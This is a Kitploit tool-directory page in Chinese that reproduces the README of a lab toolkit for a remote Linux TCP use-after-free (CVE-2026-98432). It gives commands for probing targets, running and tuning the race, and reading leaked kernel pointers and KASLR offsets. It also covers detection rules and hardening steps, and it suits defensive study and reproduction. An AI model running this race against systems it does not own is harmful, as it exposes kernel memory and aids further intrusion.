Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-98432 — CVE-2026-98432 Linux TCP ireq_opt 释放后使用(use-after-free)实验室工具包:带堆复用预言机的竞态触发、泄漏解析器、KASLR 解析器、pcap 分析、IDS 规则与加固。 | Kitploit
工具/GitHubGitHub/h1z3-br0/cve-2026-98432
数据包嗅探与分析漏洞分析漏洞利用模糊测试网络安全入侵检测实验室与实践
GitHubh1z3-br0/cve-2026-98432

CVE-2026-98432

CVE-2026-98432 Linux TCP ireq_opt 释放后使用(use-after-free)实验室工具包:带堆复用预言机的竞态触发、泄漏解析器、KASLR 解析器、pcap 分析、IDS 规则与加固。

查看仓库
15322天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
网站

CVE-2026-98432 研究工具包

一个经过测试的小型实验室工具包,针对 CVE-2026-98432——Linux IPv4/TCP 协议栈中的远程 释放后使用漏洞(CVSS 9.8)。它包含一个带有堆复用预言机的竞争触发 器、一个泄漏解析器、一个 KASLR 解析器、pcap 分析、IDS 规则和加固辅助工具。

[!WARNING] 这是攻击工具。请仅在您拥有的机器上、在隔离的实验室环境中运行它。 该漏洞是远程的,且目标上无需任何凭据。除非您显式传入 --allow-public,否则该工具会拒绝公共地址。

这是什么

  • 一个针对 ireq_opt 竞争的触发器,具有精确、可配置的时序 模型;
  • 一个预言机,用于证明内存复用而非猜测:每次尝试 都在其 IP 选项中携带唯一标记,而一个回显了不同尝试标记的 SYN-ACK 意味着内核读取了已释放的对象;
  • 一个泄漏工作流:将异常的 SYN-ACK 转储到 pcap,扫描 内核指针,并且可以将泄漏的文本指针借助 System.map 转换为 KASLR 偏移;
  • 检测与缓解材料:pcap 分析器、Suricata 规则、 补丁检查器和加固脚本。

这不是什么

  • 不是一键式 root 漏洞利用。它止步于已确认的释放后使用和 内存泄漏。第 3 阶段(KASLR 绕过、堆布局、载荷)在 docs/analysis.md 中有所描述,但未实现:没有特定的 内核构建,那将只是虚构。
  • 不是扫描器。它只与您指定的一个目标通信。

要求

目标带有 IPv4 TCP 监听器的 Linux,内核版本早于修复版本
攻击者Linux、CAP_NET_RAW、C 编译器、Python 3.8+
推荐两台虚拟机,或一台虚拟机加一台主机,处于同一 L2 网络

--mode raw 额外需要 CAP_NET_ADMIN 来安装两条 iptables 规则(该工具会打印它们)。

快速开始

make                      # builds bin/cve_2026_98432
make check                # full offline test suite, no packets sent
./bin/cve_2026_98432 --check

在实验环境中:

# 1. is the target an MPTCP listener? (one SYN, no side effects)
./bin/cve_2026_98432 --probe 192.168.56.10:9000

# 2. run the race for ten minutes, keep the evidence
./bin/cve_2026_98432 --race 192.168.56.10:9000 --iface eth1 \
    --workers 16 --spray 4 --duration 600 --pcap hits.pcap

# 3. analyze offline
python3 tools/analyze_pcap.py hits.pcap

当 oracle 检测到被复用的选项块(即 use-after-free 的证据)时,退出码为 0;未检测到时为 3;出错时为 1/2。

实验室运行已确认 UAF oracle:SYN-ACK 携带了另一个请求的标记,证明内核读取了被复用的选项对象。参见 docs/verified-hit.md。阶段 2(将复用转化为内核指针泄漏)已实现并插桩,但尚未复现;参见 docs/stage2-leak.md。截至 2026-11-02,尚不存在公开的武器化 RCE 链:Anthropic 的链仅在文字中描述,而最详细的独立工作止步于在插桩内核上的受控解引用。

在虚拟机中复现

lab/build-lab.sh 下载 Linux 6.12.112,回退两行修复,构建内核,并在 QEMU 中与工具和监听器一起启动。参见 lab/README.md 了解要求和虚拟机内命令。

构建与测试

make              # optimised build
make test         # C unit tests + built-in self-test
make san          # UBSan locally, ASan+UBSan on Linux
make check        # everything: clean build, unit tests, sanitizers, Python, shell

make check 从不打开套接字。它覆盖数据包构造与解析、校验和、两种标记变体、指针分类器、pcap 写入器、解析器模糊测试、分析器、shell 辅助脚本、CLI 以及安全防护。完整矩阵见 docs/analysis.md。

使用该工具

模式功能网络
--check将运行中的内核与修复表进行比较,打印 MPTCP 和 tcp_migrate_req 状态无
--selftest内置冒烟测试无
--emit-demo FILE写入合成的 UAF 捕获(用于测试分析器)无
--dump-config打印规范化后的配置无
--probe IP:PORT发送一个带 MP_CAPABLE 的 SYN,检测 MPTCP 监听器一个数据包
--race IP:PORT实际的竞态多个数据包

常见的竞态选项:

--workers N        concurrent attempts (default 8)
--duration S       stop after S seconds
--spray N          heap-spray threads
--dup-burst N      duplicate SYNs per attempt (lab tuning)
--mode raw|socket  who owns the handshake (default socket)
--rtt-lead US      send the duplicate SYN this early (may be negative)
--rst-delta US     RST offset after the predicted ACK
--jitter US        randomize both offsets
--pcap FILE        write anomalous frames

运行 ./bin/cve_2026_98432 --help 查看完整列表。

读取输出

[*] attempts=148213 synacks=147902 hits=1 anomalies=7 malformed=0 rtt=68.4us
字段含义
attempts已发起的握手次数
synacks观察到的 SYN-ACK 数量
hitsSYN-ACK 携带了另一次尝试的标记:已确认释放后使用(use-after-free)
anomalies选项数据块无法按我们的格式解析(可能存在泄漏字节)
malformedIPv4 ihl < 5,即下溢特征
marker echoed携带了我们 TS 标记的 SYN-ACK 数量
rtt当前用于计时的往返时延估计值

一次命中看起来是这样的:

[!] UAF ORACLE HIT: foreign magic bbbb0002 (expected aaaa0001)
    ipopts[40] = 44280500...bbbb0002...
    kernel ptr @8: ffffffff81234567 (text) base2M=ffffffff81200000

调优竞态

竞态是一种抢占抽签,但时机仍然很重要。先在回环或局域网上使用默认值,然后扫描:

for lead in 0 10 30 60 120; do
  for delta in -20 0 20 60; do
    ./bin/cve_2026_98432 --race "$TARGET" --iface "$IFACE" \
        --duration 120 --rtt-lead "$lead" --rst-delta "$delta" --jitter 10
  done
done
  • 距离越近越好:回环或同一交换机比互联网快几个数量级。
  • 更多 worker 和 spray 线程会增加调度器压力,而这正是扩大窗口的原因。
  • 一次失败的尝试只消耗一次握手;不会导致任何崩溃。

检测

python3 tools/analyze_pcap.py capture.pcap --json report.json
python3 tools/kaslr_resolve.py System.map 0xffffffff9a2b3c4d

Suricata 规则位于 tools/suricata.rules。两个高价值特征分别是带 IP 选项的入站 TCP SYN,以及 ihl < 5 的 IPv4 头。

缓解措施

  1. 修补内核。如果你有源码树: tools/fix_check.sh /path/to/linux。
  2. 如果不使用 MPTCP,请禁用它:sysctl -w net.mptcp.enabled=0。
  3. 禁用请求迁移:sysctl -w net.ipv4.tcp_migrate_req=0。
  4. 在边界丢弃 IP 选项: iptables -A INPUT -m ipv4options --rr --ts --ssrr --lsrr --ra --sec --cipso --sid -j DROP 或 nft add rule ip filter input ip hdrlength != 5 drop。
  5. 使用 tools/harden.sh --apply 一次性应用第 2–4 项(默认试运行)。

故障排查

症状原因修复方法
socket(AF_PACKET,tx): Operation not permitted缺少 CAP_NET_RAW以 root 运行或授予该能力
cannot find interface源地址错误传入 --iface 或 --src
refusing to send packets目标不是私有地址使用实验环境地址,或对自己的 VM 使用 --allow-public
SYN-ACKs observed 保持为 0无路由、防火墙拦截或端口错误用 --probe 检查,再用 tcpdump
命中数保持为 0时序问题或内核不存在漏洞用 --check 验证;调整时序扫描
raw 模式无效果本地 RST 先终止了请求应用打印出的 iptables 规则,使用 --raw-filtered

仓库结构

src/            engine and wire helpers
tests/          C unit tests, Python tests, full runner
tools/          pcap analyzer, KASLR resolver, fix checker, hardening, IDS rules
lab/            MPTCP listener for the test bench
docs/           vulnerability analysis and test matrix

安全与伦理

此代码旨在帮助防御者复现、检测并修复一个严重的内核漏洞。请仅在您拥有或已获得明确测试许可的系统上使用它。 参见 SECURITY.md。

许可证

MIT。参见 LICENSE。

下载工具